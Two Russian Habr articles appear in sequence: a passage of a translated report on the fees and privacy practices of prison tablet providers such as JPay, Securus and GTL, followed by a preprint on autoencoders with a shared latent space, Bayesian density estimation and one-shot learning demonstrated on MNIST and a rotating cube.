Суть была в том, что благодаря планшетам каждая компания получала свою собственную онлайн-площадку, нечто вроде гибрида iTunes, Venmo и Gmail, позволявшую арестантам обмениваться электронной почтой, организовывать видеочаты, получать денежные переводы, а также скачивать по выбору фильмы, ТВ-шоу и музыку. Большинство девайсов не имело доступа в Интернет; впрочем, в некоторых штатах заключённым разрешали посещать онлайн-библиотеки и сайты новостей. И несмотря на то, что обычно планшеты настраиваются под конкретную компанию, иногда даже попадались работающие на предустановленных ОС — вроде Google Nexus 7.

Колорадо стал первым штатом, в котором в 2016 году была развернута программа «бесплатных планшетов». Когда всё начиналось, предложения JPay выглядели чистым милосердием, мол, заключенные получат способ связаться с внешним миром; да тюрьмы поддакивали, что устройства «улучшают поведение спецконтингента», а следовательно, обстановка в учреждении более спокойная. Плюс предполагалось наличие среди предустановленного ПО образовательных программ и подключения к онлайн-библиотекам, и всё это будет доступно совершенно бесплатно. С подобными оценками сложно было спорить.

Однако вскоре заключённые и их семьи обнаружили, что стоимость заявленных услуг, мягко говоря, не соответствует обещаниям. «Крайне ошибочно говорить о том, что это „бесплатно“, — рассказывает Стивен Рахер, занимающийся исследованием коммуникационных систем в тюрьмах, адвокат и волонтёр Центра политики по тюремному заключению (Prison Policy Initiative, PPI) — «Я выяснил, что во множестве мест само устройство выдают вроде как даром, но как только ты захочешь воспользоваться каким-то сервисом, то придётся платить, и цены такие, что глаза на лоб лезут, особенно у тех, кто получает 0,4-2$ в день».

Скажем, в Нью-Йорке JPay — уже претендующая на звание „тюремной Apple“ — к февралю 2018 года раздала 52000 планшетов. И, согласно внутренним документам компании, к 2022 году она собирается отбить все расходы и заработать сверх того около 9 миллионов долларов прибыли. А всё потому, что даже базовые услуги для заключённых — не бесплатны.

За перевод заключённому в 20$ придётся заплатить JPay комиссию в 4,15$. Послать электронное письмо — 35с, с фото — вдвое дороже, с видео — вчетверо. Один музыкальный трек — 2,5$, а альбом совершенно необъяснимым образом может обойтись в 46$. Хочешь видеочат с родными? 18$ в час. А ещё цены могут колебаться в зависимости от сезона; так, WIRED писал, что в День Матери, когда арестанты ещё сильнее стремятся пообщаться с близкими, e-mail стоит уже не 35с, а 47.

Стивен Рахер: „Стоимость услуг значительно выше рыночной, и формирование прайса просто грабительское, чисто ради выбивания прибыли. А ведь обычно есть ещё и пошлина, которую заплатят члены семьи заключённого, чтобы внести деньги на его счёт в тюремном магазине. Такая система словно хищный зверь“.

По заявлению PPI, к январю 2017 года только на одних пошлинах за перевод компании вроде JPay получили около 99,2 миллиона долларов. Средняя пошлина составила около 10 процентов от переводимой суммы. Всё это выкачали из кошельков арестантов, чей труд в среднем оценивается в 0,92$ в час, и их семей, которые обычно довольно бедные. На условиях анонимности кто-то из родственников заключённых рассказал The Outline, что примерно 25 процентов его месячного дохода уходит на телефонные звонки, видеочаты и цифровые товары вроде игр в тюремном магазине.

JPay находится в собственности Securus, конгломерата связанных с исправительными учреждениями технологических компаний, получившего скандальную славу благодаря программному обеспечению для отслеживания сотовых телефонов по всем Соединённым Штатам — и „дырками“ в нём, сделавшими данные с мобильников каждого американца потенциально доступными для хакеров в мае 2018 года. (Securus, управляющийся миллиардером Томом Горсом, владельцем Detroit Pistons, в ноябре 2017 года оценивался им в 1,5 миллиарда долларов)

Главным конкурентом Securus является Global Tel Link (GTL), мощная телекоммуникационная компания, в основном знакомая слушателям подкаста Serial (»Это предоплаченный в Global Tel Link звонок от….»). Если верны недавние оценки, Securus и GTL на двоих контролируют где-то 84 процента рынка телекоммуникаций в исправительных учреждениях. Именно эти организации ответственны за людоедские расценки на телефонию; в некоторых штатах 25-минутный разговор может стоить до 15$. И в их же руках находится большинство тюремных девайсов.

Компании вроде JPay и GTL зачастую подписывают договоры со всей тюремной системой штата целиком, и поэтому у заключённых нет особого выбора, чьи устройства использовать. Кроме того, многие штаты получают определённую долю от финансового потока, генерируемого планшетами, поэтому склонны выбирать контору с максимальными ценниками на услуги: ведь чем больше денег получает провайдер, тем больше перепадает и исправительным учреждениям.

На тюрьмы приходится где-то от 10 до 50 процентов той суммы, которую зарабатывают на электронных письмах. Скажем, от программы «бесплатных планшетов», представленной GTL в прошлом году в Индиане, ожидается «выхлоп» около 6,5 миллионов долларов — с соответствующей долей штата в 750000$ в год. А Securus, между тем, выплатил тюрьмам комиссионных на 1,3 миллиарда в течение последних 10 лет (с учётом «безпланшетных» программ, в том числе и платных телефонных звонков).

По неподтверждённой информации получаемые деньги компании тратят в обмен на политические преференции: генеральный прокурор Миссисипи обвинил GTL в подкупе с помощью комиссионных главного инспектора системы исполнения наказаний штата, чтобы тот подписал с провайдером более выгодные контракты (GTL заработала примерно 2,5 миллиона долларов в августе 2017 года).

Даже по-честному бесплатные сервисы, предлагаемые в тюрьмах, вроде онлайн-библиотек и обучающих программ, попали под огонь критики. Многие учреждения утилизировали бумажные книги по праву, но онлайн-ресурсы, пришедшие им на смену, нередко отличались недостатком требовавшихся заключённым данных, согласно расследованию The Crime Report. Кроме того, доступные на планшетах сервисы не работали настолько часто, что сложно подсчитать, сколько раз лишённые свободы оказывались без возможности получить информацию по вопросам законодательства.

Об обучающих программах тоже отзывались схожим — и негативным — образом. Брайан Хилл, исполнительный директор Edovo, стартапа, соревновавшегося с JPay и GTL за право предоставить заключённым обучающее ПО, рассказал, что софт конкурентов не слишком хорошо организован: «Ну правда, там и PDFки, и видеоролики, весь контент набран с бору по сосенке. И по большому счёту, им плевать. Они здоровые, громоздкие и не хотят заморачиваться».


Планшет Edovo. Источник изображения: Edovo

Некоторые телекоммуникационные компании представляли тюрьмам планшеты исключительно как способ дополнительно расследовать преступления заключённых. Как, например, гласит отчёт Telmate за 2013 год: «чем больше арестанты общаются, тем скорее он или она проболтаются о своих делах».

GTL же зарезервировала себе право использовать персональные данные заключённых в «любых деловых или рекламных целях», поскольку Securus считает, что их клиенты «не ожидают соблюдения приватности»; как отмечает PPI, «исправительные учреждения вправе предоставлять, передавать или продавать основную и дополнительную информацию третьим лицам». Другая компания, Smart Communications, и вовсе не имеет никаких положений относительно обращения с персональным данными, кроме небольшой оговорки насчёт «не будут предоставляться в общий доступ данные кредитных карт».

И вмешательство в частное пространство уже отнюдь не гипотетическое: в июле 2018 к Securus подан иск за запись приватного разговора между осуждённым и адвокатом, и передачу этой записи прокурору, что нарушает взаимоотношения адвокат-клиент.

Конечно, многие люди, находящиеся за решёткой, благодарны за то, что с помощью планшетов стало легче поддерживать связь с внешним миром — это подтверждается теми родственниками заключённых, кто общался с The Outline. Возможно, среди будущих реформаторов сложившегося порядка всё же найдутся те, кто станет обслуживать эти потребности без того, чтобы облагать арестантов заоблачными пошлинами и присваивать их данные, ведь этим людям буквально «некуда деться отсюда». Ведь небесплатная «бесплатная» тюремная система и так долгое время регулярно наживалась на труде заключённых.


ссылка на оригинал статьи https://habr.com/post/420395/

Автоэнкодеры и сильный искусственный интеллект

Теория автоэнкодеров и генерирующих моделей последнее время получила серьезное развитие, но достаточно мало работ посвящено тому, как можно использовать их в задачах распознавания. При этом свойство автоэнкодеров получать скрытую параметрическую модель данных и математические следствия из этого дают возможность связать их с Байесовскими методами принятия решения.

В статье предложен оригинальный математический аппарат «набор автоэнкодеров с общим латентным пространством», который позволяет выделять абстрактные понятия из входных данных и демонстрирует способность к «one-shot learning». Кроме того, с его помощью можно преодолеть многие фундаментальные проблемы современных алгоритмов машинного обучения, основанных на многослойных сетях и подходе «Deep learning».

Предпосылки

Искусственные нейронные сети, обучающиеся с помощью механизма обратного распространения ошибок, практически вытеснили иные подходы во многих задачах распознавания и оценки параметров. Но они обладают рядом недостатков, которые, кажется, не устранимы без серьезного пересмотра подхода:

1) крайняя неустойчивость к входным данным, не встречающимся в обучающей выборке (в том числе и в случае Adversarial attacks)

2) сложно оценить источник проблемы и локально дообучить на одном из уровней (приходится просто дополнять обучающую выборку и переобучать), т.е. проблема «черного ящика»

3) не предусматривается возможность различной трактовки одной и той же входной информации, игнорируется статистическая природа наблюдаемых данных

Занимаясь решением прикладных задач, и, оперевшись на ряд существующих работ, я предлагаю подход, который заметно отличается от существующих, устраняет ряд их недостатков и применим для решения прикладных задач в различных областях машинного обучения.

Автоэнкодер для оценки плотности распределения

В теории принятия решения очень важное место занимает плотность распределения (или функция распределения) случайных величин. Необходимо иметь оценки функций распределения для расчета апостериорного риска.

Оказывается, что автоэнкодеры очень естественны для выполнения оценки функций распределения. Объяснить это можно следующим образом: обучающий набор данных определяется плотностью их распределения. Чем выше плотность обучающих примеров вокруг локальной точки во входном пространстве, тем лучше автоэнкодер реконструирует входной вектор в этом месте пространства. Кроме того, внутри автоэнкодера есть вектор латентного представления входных данных (как правило, низкой размерности), и если данные проецируются в латентном пространстве в область, ранее не задействованную при обучении, то, значит, и в обучающей выборке не было ничего похожего.

Существует ряд замкнутых и в чем-то обособленных работ:
1) Alain, G. and Bengio, Y. What regularized autoencoders learn from the data generating distribution. 2013.
2) Kamyshanska, H. 2013. On autoencoder scoring
3) Daniel Jiwoong Im, Mohamed Ishmael Belghazi, Roland Memisevic. 2016. Conservativeness of Untied Auto-Encoders

В первой приводится обоснование того, что результат реконструкции Denoising автоэнкодеров связан с функцией плотности вероятности входных данных, но на автоэнкодеры накладывается ряд ограничений. Во второй приводятся достаточные требования к автоэнкодеру — веса энкодера и декодера должны быть «связаны», т.е. весовая матрица слоя энкодера — это транспонированая матрица декодера. В последней работе более полно исследуются необходимые и достаточные условия того, что автоэнкодер связан с плотностью вероятности.

Эти работы строго обосновывают теоретический базис связи автоэнкодеров с плотностью распределения обучающих данных. В прикладных задачах часто не требуется столь серьезного анализа, поэтому ниже по тексту будет приведен несколько иной подход, позволяющий оценить функцию плотности вероятности входных данных за счет ранее обученного автоэнкодера.

Пример на MNIST

В еще более ранних работах предлагалась эмпирическая идея, что для задачи классификации можно обучить автоэнкодеры по количеству классов (обучая каждый из них лишь на соответствующих ему подвыборке). И выбрать в качестве ответа тот класс и автоэнкодер, который дает минимальную невязку между входным изображением и реконструированным. Это было не сложно проверить на MNIST: обучить 10 автоэнкодеров (для каждой цифры), посчитать точность, а затем сравнить с аналогичной многослойной моделью классификатора.

Скрипты для обучения и тестирования на git-е (train_ae.py, calc_codes.py, calc_acc.py)

Архитектура и количество весов:

Автоэнкодеры: 98.6%
Классификатор на многослойном перцептроне: 98.4%

Внимательный читатель заметит, что весов в автоэнкодерах было в 10 раз больше (по их количеству). Однако, 10ти кратное увеличение количества весов в скрытом слое в многослойном перцептроне лишь ухудшает статистику.

Конечно, сверточные сети дают куда более высокую точность, но задача стояла лишь сравнить подходы при прочих равных.

В итоге можно отметить, что подход с автоэнкодерами вполне конкурентен полносвязанным сетям. И, хотя время на оптимизацию весов затрачивается значительно больше, он обладает одним важным преимуществом: способность детектировать аномалии во входных данных. Если ни один из автоэнкодеров не смог точно реконструировать входное изображение, то можно констатировать, что на вход попало аномальное изображение, которое не встречалось в обучающей выборке. Строго говоря, реконструировать можно изображение и не из входной выборки, но что делать в такой ситуации будет показано далее.

Рассмотрим одиночный автоэнкодер

Можно и несколько иным способом, чем в приведенных выше работах, провести качественный анализ связи плотности вероятности входных данных p(x) и отклика автоэнкодера.

Автоэнкодер — последовательное применение функции энкодера

$z=g(x)$

и декодера

$x^*=f(z)$

, где

$x$

— входной вектор, а

$z$

— латентное представление. В некотором подмножестве входных данных (обычно близкое к обучающему)

$x^*=x+n=f(g(x))$

, где

$n$

— невязка. Невязку примем Гаусовским шумом (его параметры можно оценить после обучения автоэнкодера). В итоге делается ряд достаточно сильных предположений:

1) невязка — Гаусовский шум
2) автоэнкодер уже «натренирован» и работает

Но, что важно, на сам автоэнкодер не будет накладываться почти никаких ограничений.

Далее можно получить качественную оценку плотности вероятности p(x), на основании которой можно сделать несколько очень важных в дальнейшем выводов.

Оценка p(x) для одиночного автоэнкодера

Плотность распределения для

$x \in X$

и

$z \in Z$

связаны следующим образом:

$p(x) = \int_{z} p (x|z)p(z)dz\;\;\;(1)$

Нам нужно получить связь p(x) и p(z). Для некоторых автоэнкодеров p(z) задается на стадии их тренировки, для других p(z) получить все же проще за счет меньшей размерности Z.

Плотность распределения невязки n известна, значит:

$p(n)=const\times exp( -\frac{(x-f(z))^T (x-f(z))}{2\sigma^2} )=p(x|z) \;\;(2)$

$(x-f(z))^T (x-f(z))$

— это дистанция между x и его проекцией x*. В некоторой точке z* эта дистанция достигнет своего минимума. В этой точке частные производные аргумента экспоненты в формуле (2) по

$z_i$

(осям Z) будут нулевые:

$0 = \frac{\partial f(z^*)}{\partial z_i}^T(x-f(z^*))+(x-f(z^*))^T\frac{\partial f(z^*)}{\partial z_i}$

Здесь

$\frac{\partial f(z^*)}{\partial z_i}^T(x-f(z^*))$

скаляр, тогда:

$0 = \frac{\partial f(z^*)}{\partial z_i}^T(x-f(z^*))\;\;\;(3)$

Выбор точки z*, где дистанция

$(x-f(z))^T (x-f(z))$

минимальна, обусловлен процессом оптимизации автоэнкодера. Во время обучения именно квадратичная невязка и минимизируется (как правило):

$\min\limits_{\theta, \forall x \in X train} L2_{norm}({x-f_\theta(g_\theta(x))})$

, где

$\theta$

— веса автоэнкодера. Т.е. после обучения g(x) стремится к z*.

Также мы можем разложить

$f(z)$

в ряд Тейлора (до первого члена) вокруг z*:

$f(z)=f(z^*)+\nabla f(z^*)(z-z^*)+o((z-z^*))$

Так, теперь уравнение (2) станет:

$p(x|z) \approx const\times exp( -\frac{((x-f(z^*))-\nabla f(z^*)(z-z^*))^T ((x-f(z^*))-\nabla f(z^*)(z-z^*))}{2\sigma^2} )=$

$=const\times exp(-\frac{(x-f(z^*))^T(x-f(z^*))}{2\sigma^2})exp(-\frac{(\nabla f(z^*)(z-z^*))^T(\nabla f(z^*)(z-z^*))}{2\sigma^2}) \times $

$\times exp(-\frac{( \nabla f(z^*)^T(x-f(z^*))+(x-f(z^*))^T\nabla f(z^*))(z-z^*)}{2\sigma^2})$

Заметьте, что последний множитель равен 1 из-за выражения (3). Первый множитель можно будет вынести за знак интеграла (он не содержит z) в (1). А также предположим, что p(z) достаточно гладкая функция и не сильно меняется в окрестности z*, т.е. заменим p(z)->p(z*).

После всех предположений интеграл (1) имеет оценку:

$p(x) = const\times p(z^*)exp(- \frac{(x-f(z^*))^T(x-f(z^*))}{2\sigma^2}) \int_{z}exp(-(z-z^*)^TW(x)^TW(x)(z-z^*)) dz, \;\;\; z^*=g(x)$

где

$W(x)=\frac{\nabla f(z^*)}{\sigma}, z^* = g(x)$

Последний интеграл — n-мерный интеграл Эйлера-Пуассона:

$ \int_{z}exp(-\frac{(z-z^*)^TW(x)^TW(x)(z-z^*)}{2}) dz=\sqrt{\frac{1}{det(W(x)^TW(x)/2\pi)}}$

В итоге мы получили финальную оценку p(x):

$p(x) = const\times exp(- \frac{(x-f(z^*))^T(x-f(z^*))}{2\sigma^2})p(z^*)\sqrt{\frac{1}{det(W(x)^TW(x)/2\pi)}}, z^*=g(x)\;\;\;(4)$

Вся эта математика была нужна, чтобы показать, что p(x) зависит от трех факторов:

  • Дистанции между входным вектором и его реконструкцией, чем хуже восстановили — тем меньше p(x)
  • Плотности вероятности p(z*) в точке z*=g(x)
  • Нормировки функции p(z) в точке z*, которая рассчитывается для автоэнкодера из частных производных функции f

И еще от нормировочной константы, которая впоследствии будет отвечать за априорную вероятность выбора автоэнкодера для описания входных данных.

Несмотря на все допущения, результат получился весьма осмысленным и полезным с точки зрения вычислений.

Процедура классификации или оценки параметров

Теперь можно точнее описать процедуру классификации с использованием набора автоэнкодеров:

  1. Обучение независимых автоэнкодеров для каждого класса на соответствующих выходных данных
  2. Расчет матрицы W для каждого автоэнкодера
  3. Оценка p(z) для каждого автоэнкодера

И для каждого входного вектора можно оценить теперь

$p(x|class)$

по количеству классов. А это и будет функцией правдоподобия, которая необходима для принятия решения в рамках Байесовского правила принятия решений.

Точно также можно оценивать и неизвестные параметры, разбив пространство параметров на дискретные значения, обучив для каждого значения свой автоэнкодер. А затем, на основании лучшей Байесовской оценки, выбрать то значение, которое дает максимум функции правдоподобия.

Тут стоит заметить, что, формально, задача оценки p(z) ничуть не проще оценки p(x). Но на практике это не так. Пространство Z обычно имеет сильно меньшую размерность, либо вообще распределение задается при оптимизации весов автоэнкодера.

Идея объединения латентного пространства автоэнкодеров

Существует любопытная трактовка, предложенная Алексеем Редозубовым и описанная в следующих статьях:

  1. An Artificial Neural Network Architecture Based on Context Transformations in Cortical Minicolumns. Vasily Morzhakov, Alexey Redozubov
  2. Holographic Memory: A novel model of information processing by Neural Microcircuits. Alexey Redozubov, Springer
  3. Совсем не нейронные сети. Моржаков В.

Информация может иметь совершенно различную трактовку в разных контекстах. Модель «набора автоэнкодеров» перекликается с этой предложенной идеей. Любой автоэнкодер — это латентная модель входных данных в рамках одного контекста (одного класса или иных фиксированных параметров), т.е. латентный вектор — трактовка, а каждый автоэнкодер — контекст. При поступлении входной информации она рассматривается в каждом контексте (каждым автоэнкодером), и выбирается тот контекст, который наиболее вероятен с учетом существующих моделей в каждом автоэнкодере.

Следующим разумным шагом будет допустить существование пересечения трактовок в различных контекстах. Т.е. при обучении мы часто знаем, что трактовка остается прежней, но форма представления (контекст) меняется. Например, ориентация объекта меняется, но объект остается прежним. Вектор описания объекта должен сохраняться, а контекст — ориентация меняется.

Тогда, если мы взглянем на формулу (4), то множитель p(z) оказывается можно оценивать для всего набора автоэнкодеров, а не для каждого в отдельности. Трактовка (латентный вектор) будет иметь общее распределение. Для небольшого количества автоэнкодеров это может не иметь значительной роли, но в реальной задаче это количество может быть огромным. Например, если определить по одному контексту на каждую возможную ориентацию 3D объекта, их может оказаться сотни тысяч. Теперь каждый пример, представленный для обучения в любом контексте, будет формировать распределение p(z).

Взаимозаменямость трактовки и контекста

В прикладной задаче сразу встанет вопрос: что назначить трактовкой, а что контекстом? Контекст и трактовка могут легко меняться местами, и никто не исключает существование возможности одновременного параллельного функционирования пары «наборов автоэнкодеров».

Для наглядности можно предложить такой пример:

Входное изображение содержит лица людей.
1) контекст — ориентация лица. Тогда для реконструкции входного изображения нам не хватает «трактовки» — кода, идентифицирущего лицо, который будет содержать в себе описание лица, прически, его освещения. При обучении нам нужно будет предъявлять одно и то же лицо с разных сторон, «замораживая» латентный код, меняя при этом ориентацию.
2) контекст — тип лица, освещения, прически. Тогда для реконструкции входного изображения нам не хватает ориентации лица. При обучении нужно будет предъявлять разные лица при разном освещении, но одной и той же ориентации.

Оптимальное Байесовское решение в первом случае будет приниматься относительно ориентации лица, а во втором — его типа. Предположительно, первый вариант даст лучшую точность по ориентации, а второй точнее оценит, чье это было лицо.

Обучение набора автоэнкодеров с общим латентным простраством

При обучении нам нужно знать, как одна по смыслу сущность выглядит в разных контекстах. Например, если говорить об изображении цифр и контексте-ориентации, то схематично такое кросс-обучение выглядит так:

Используется энкодер одного автоэнкодера, затем латентный код декодируется декодером другого автоэнкодера. Функция потерь при обучении остается стандартной. Интересно то, что если автоэнкодер выбран симметричным (т.е. веса энкодера и декодера связаны), то в каждой итерации оптимизируются все веса обоих автоэнкодеров.

Наиболее удобно для такого хитрого обучения подошел PyTorch, который позволяет делать достаточно сложные схемы обратного распространения ошибок, в том числе и динамические.

Стандартные шаги обучения каждого автоэнкодера чередуются с итерациями кросс-обучения. В результате у всех автоэнкодеров получается общее латентное пространство или связывается «трактовка» в различных контекстах.

Очень важно то, что в результате такого анализа мы сможем разделить входную информацию на «контекст» и «трактовку».

Пример обучения

Рассмотрим достаточно простой пример, основанный на MNIST, который поможет продемонстрировать принцип обучения автоэнкодеров с общим латентным пространством. В результате, на этом примере будет продемонстрировано формирование абстрактного понятия «куб» с помощью механизма, описываемого в статье.

На грани куба нанесены цифры из MNIST и он вращается вокруг одной из своих осей:

Будем обучать автоэнкодеры восстанавливать грани, контекст — ориентация грани.

Вот пример цифры «ноль» в 100 контекстах, первые 34 из которых соответствуют разным углам поворота боковой грани, а оставшиеся 76 — различные углы поворота верхней грани.

Мы предполагаем, что для каждого из этих 100 изображений «трактовки» должны быть одинаковые, и именно случайные их парасочетания используются для кросс-обучения.

После обучения вышеописанным методом удалось достичь того, что латентный код одного из автоэнкодеров можно декодировать другими автоэнкодерами, получив действительно осмысленное контекстное преобразование.

Например, на данном изображении показано, как результат кодирования автоэнкодера под номером 10 декодируется другими автоэнкодерами для одной из цифр:

Таким образом, имея код «трактовки», т.е. латентный вектор автоэнкодера, можно восстановить исходное изображение в любом из обученных контекстов (т.е. декодером любого автоэнкодера).

Маскировка входного вектора

В формуле (4) везде фигурирует дисперсия невязки

$\sigma$

, которая выбрана константой для любого из компонентов входного вектора. Однако, если какие-то компоненты не имеют никакой статистической связи с латентной моделью, то дисперсия наверняка окажется значительно выше именно по этим компонентам. Дисперсия везде оказывается в знаменателе, а, значит, чем больше невязка, тем меньше вклад ошибки по компоненте. Можно отнестись к этому, как к маскировке некоторой части входного вектора.

Для данного примера с вращающимися гранями маска очевидна — проекция грани в конкретном контексте.

В упрощенном подходе в этом примере, который использует только невязку между входным изображением и реконструкцией, нужно лишь умножить невязку на маску для каждого из контекстов.

В общем случае, нужно строже оценивать параметры распределения, таким образом не вводя маски ручным образом.

Отделение трактовки от контекста

Отделив трактовку от контекста, можно получать абстрактные понятия. В обученном примере интересно продемонстрировать 2 эффекта:

1) one-shot learning, т.е. обучение со сверхмалым количеством примеров (в пределе одним).

Если анализировать лишь трактовку, игнорируя контекст, то становится возможным узнать новый образ в разных ориентациях грани, когда новый образ демонстрировался лишь в одной из ориентаций.

Тут важно заметить, что образ необходимо предъявить новый. Для корректности также зададимся целью запомнить не один образ, а научиться разделять 2 новых образа, не встречающихся ранее в тренировочной базе MNIST. Например, такие:

Задумка следующая: показать эти знаки в одном из геометрических контекстов (например, под номером 10), выбрать гиперплоскость, проходящую равноудаленно от трактовок этих знаков, а затем убедиться, что с помощью этой гиперплоскости мы сможем распознать, что за знак нам предъявлен при вращении грани (других контекстах).

Тут важно заметить, что автоэнкодеры не будут обучаться на новых знаках. За счет того разнообразия цифр, что есть в MNIST, можно предсказать, как будет выглядеть новый знак, который ранее не встречался, в различных контекстах.

Так знак V будет выглядеть после кодирования в контексте №10 и декодирования в оставшихся:

Видно, что предсказание не идеально, но визуально узнаваемо.

Обозначим эту демонстрацию «эксперимент 1» и опишем результат ниже.

2) а с кубом интересно продемонстрировать, что будет, если проигнорировать содержимое латентного вектора, а передать лишь степень правдоподобия каждого автоэнкодера.

Посмотрим как выглядит степень правдоподобия по каждому из контекстов для двух кубов с совершенно разной текстурой (цифры 5 и 9) для 100 контекстов, которые можно отобразить как карту:

Видно, что карты довольно похожи, несмотря на различную текстуру на сторонах куба.

Т.е. сам вектор, содержащий правдоподобие моделей автоэнкодеров (контекстов), позволяет сформулировать новое абстрактное понятие, связанное с 3х-мерной формой куба. Этот вектор также может описываться на следующем уровне автоэнкодером, который обучается модели куба.

Во втором эксперименте нужно будет создать второй уровень обработки информации, в котором обучить автоэнкодер абстрактной модели куба. А, затем, с помощью обратной проекции восстановить исходное изображение для разных реализаций модели этого куба. Проще говоря, заставить куб вращаться.

Результат «эксперимента №1»

Обученный на MNIST набор автоэнкодеров применяется к двум новым изображениям, предъявленным в контексте №10. Получаются 2 точки в латентном пространстве, соответствующие знакам V и +. Зададим плоскость, равноудаленную от обеих точек, которую будем использовать для принятия решения. Если точка находится с одной стороны от плоскости — знак V, с другой — знак «плюс».

Теперь получим коды преобразованных изображений и для каждого из них рассчитаем дистанцию до плоскости, сохранив знак.

В итоге удается различить, что же за знак был предъявлен для всех 100 контекстов.

Распределение дистанций на графике:

Визуализация результата на примере отдельных символов:

Т.е. латентные коды знаков V в абсолютно разных контекстах значительно ближе друг другу в латентном пространстве, чем коды V и знака плюс в одном и том же контексте. За счет этого в 100 из 100 случаев и удается успешно различить знаки во всевозможных ориентациях граней куба, несмотря на то, что предъявлялся лишь один образец каждого знака.

Удалось продемонстрировать классический «one-shot learning», который невозможен в исходной архитектуре искусственных нейронных сетей. Основной принцип, за счет которого этот подход работает, очень похож на «transfer learning», продемонстрированный, например, в этой статье.

Ссылка на git (train_ae_shared.py, test_AB.py)

Результат «эксперимента №2»

Отделение трактовки от контекста также позволяет обучаться на ограниченном наборе примеров. Возможно демонстрировать лишь одну из возможных трактовок в различных контекстах (зафиксировав «латентный вектор»). Абстрактную модель куба как раз можно получить, демонстрируя лишь одну цифру на всех гранях.

Эксперимент построен следующим образом:

  1. Подготавливается обучающая база: кубы с градусом поворота от 0 до 90 градусов. На гранях кубах изображена цифра 5.
  2. Вектор правдоподобия контекстов, отделенный от трактовки (латентного кода), передается на следующий уровень, где обучается автоэнкодер, ответственный за модель куба
  3. Затем делаем обратную проекцию: для каждой вероятной точки латентного пространства автоэнкодера, ответственного за абстракцию «куб», мы можем рассчитать вектор правдоподобия контекстов на первом уровне, доопределить латентный код знака на грани и построить исходное изображение, которое, возможно, никогда не встречалось нам в обучающей выборке.

Обучающая выборка состояла из 5421 изображений с изображением цифры 5 на сторонах, пример:


кубы с поворотом от 0 до 90 градусов

Мы заранее знаем, что куб имеет только одну степень свободы вращения, поэтому автоэнкодер на втором уровне имеет лишь одну компоненту в латентном коде. После обучения можно варьировать эту компоненту от 0 до 1 (функция активации латентного слоя была выбрана сигмоид) и видеть, какой вектор правдоподобия контекстов воспроизводится при декодировании:

Затем этот вектор передается на уровень 1, в котором 100 контекстов ориентаций граней, выбираются локальные максимумы и «воображается» любой латентный код знака на гранях куба. «Вообразим» цифру 3 на гранях, меняя латентный вектор в автоэнкодере, ответственном за абстрактное понятие куб, и получим следующее изображение куба:

Или код знака V, который вообще не встречался в обучающей выборке:

Качество хуже, но знак узнаваем.

Таким образом, на втором уровне обработки изображений мы получили автоэнкодер, который моделирует разнообразие абстрактного понятия «куб». На практике же, в задачах распознавания принцип обратной проекции, показанный в эксперименте, крайне важен, т.к. позволяет устранить неоднозначности трактовки за счет формирования абстрактных понятий более высокого уровня.

Ссылка на git (second_level.py, second_level_test.py)

Другие примеры, когда отделение контекста работает

В предыдущей моей статье при распознавании автомобильных номеров аналогичный метод применялся без объяснения. Положение, ориентация и масштаб цифры на изображении отделялись от содержимого, следующий уровень воспринимал эти данные для построения модели «автомобильный номер». Не важно какие цифры, важна их взаимная геометрическая конфигурация, чтобы мы могли уверенно говорить о том, что это автомобильный номер (кстати, тоже абстрактное понятие).

По аналогии можно привести ряд других примеров из компьютерного зрения: 3D форма объекта или его контуры отделимы от его текстуры и фона; перечисление составных частей в отрыве от взаимной пространственной конфигурации тоже часто позволяет сформировать новое абстрактное понятие.

Также интересно то, как в других областях машинного обучения это может работать: выделение мелодии песни — это тоже отказ от трактовки (какая конкретно гласная произносится) и использование только контекста (высота основного тона); грамматические конструкции (формирование паттернов, например,«кто-то сделал что-то»).

Обсуждение проблемы сильного ИИ

В настоящий момент сложно сформулировать, чем же отличается сильный ИИ от слабого. Вероятно, в этот список стоит включить все то, чего не хватает существующим подходам и алгоритмам для того, чтобы вычислительные машины действовали так же эффективно, как человек, например:

  • Принятие решений, использование стратегий, решение в условиях неопределенности. Именно высокая неопределенность требует выбирать наилучшую из сформулированных за время обучения моделей
  • Отражение моделей окружающего физического и социального мира, в том числе самосознания и сознания окружающих
  • Механизмы абстрактного мышления, позволяющие формулировать понятия, которые возможно использовать на широком многообразии входных данных впоследствии
  • Способность к «расшифровке» собственных мыслей

Также явно не хватает развитых механизмов памяти, интегрированных с процессом обучения, механизмов поощрения/наказания.

В статье продемонстрирован подход к задаче распознавания и оценки параметров, который основан на выборе наилучшей модели, описывающей входные данные. Предполагается, что это и есть механизм выбора наилучшей трактовки и контекста. За счет разделения трактовки и контекста на выходе модуля (набора автоэнкодеров), можно формулировать абстрактные понятия или обобщать опыт в отрыве от контекста, благодаря этому уменьшать обучающую выборку. Наборы контекстов могут отражать показания датчиков машины (ориентация, положение, скорость и др.), за счет чего становится возможным естественное обучение без учителя.

Кроме того, несмотря на то, что при обучении автоэнкодеров используется Deep learning, процессы, происходящие в автоэнкодерах, легко анализируются на каждом уровне обработки информации, т.к. можно определить, в рамках какой модели (или в каком контексте) была найдена наилучшая трактовка. А смысл обратных связей между уровнями, которые нужно вводить в сложных системах, — повышение или понижение вероятности выбора того или иного контекста.

Результат

Предложен математический аппарат, на основании которого можно выбирать ту или иную модель, описывающую входные данные, руководствуясь Байесовским решающим правилом. Модели получаются с помощью автоэнкодеров с общим латентным пространством. Предложена идея, согласно которой латентный код автоэнкодера — трактовка, а латентная модель, т.е. сам автоэнкодер, — контекст.

Продемонстрировано, что набор автоэнкодеров сам по себе не уступает по точности полносвязным искусственным нейронным сетям на примере MNIST.

Показан эффект от отделения трактовки от контекста: минимизация необходимого набора данных (в пределе «one-shot learning») для распознавания вновь предъявленных образов за счет предобучения на других данных.

Показан эффект от отделения контекста от трактовки: возможность формирования абстрактных понятий следующего уровня на примере геометрической абстракции «куб».

Ссылки

1) Alain, G. and Bengio, Y. What regularized autoencoders learn from the data generating distribution. 2013.
2) Kamyshanska, H. 2013. On autoencoder scoring
3) Daniel Jiwoong Im, Mohamed Ishmael Belghazi, Roland Memisevic. 2016. Conservativeness of Untied Auto-Encoders
4) An Artificial Neural Network Architecture Based on Context Transformations in Cortical Minicolumns. Vasily Morzhakov, Alexey Redozubov
5) Holographic Memory: A novel model of information processing by Neural Microcircuits. Alexey Redozubov, Springer
6) Совсем не нейронные сети. Моржаков В.
7) en.wikipedia.org/wiki/Gaussian_integral
8) Adversarial Examples: Attacks and Defenses for Deep Learning
9) One-Shot Imitation Learning

P.S:
Это статья — русскоязычный электронный препринт, опубликованный для обсуждения результатов, поиска ошибок. Приветствуется любая конструктивная критика!


ссылка на оригинал статьи https://habr.com/post/417405/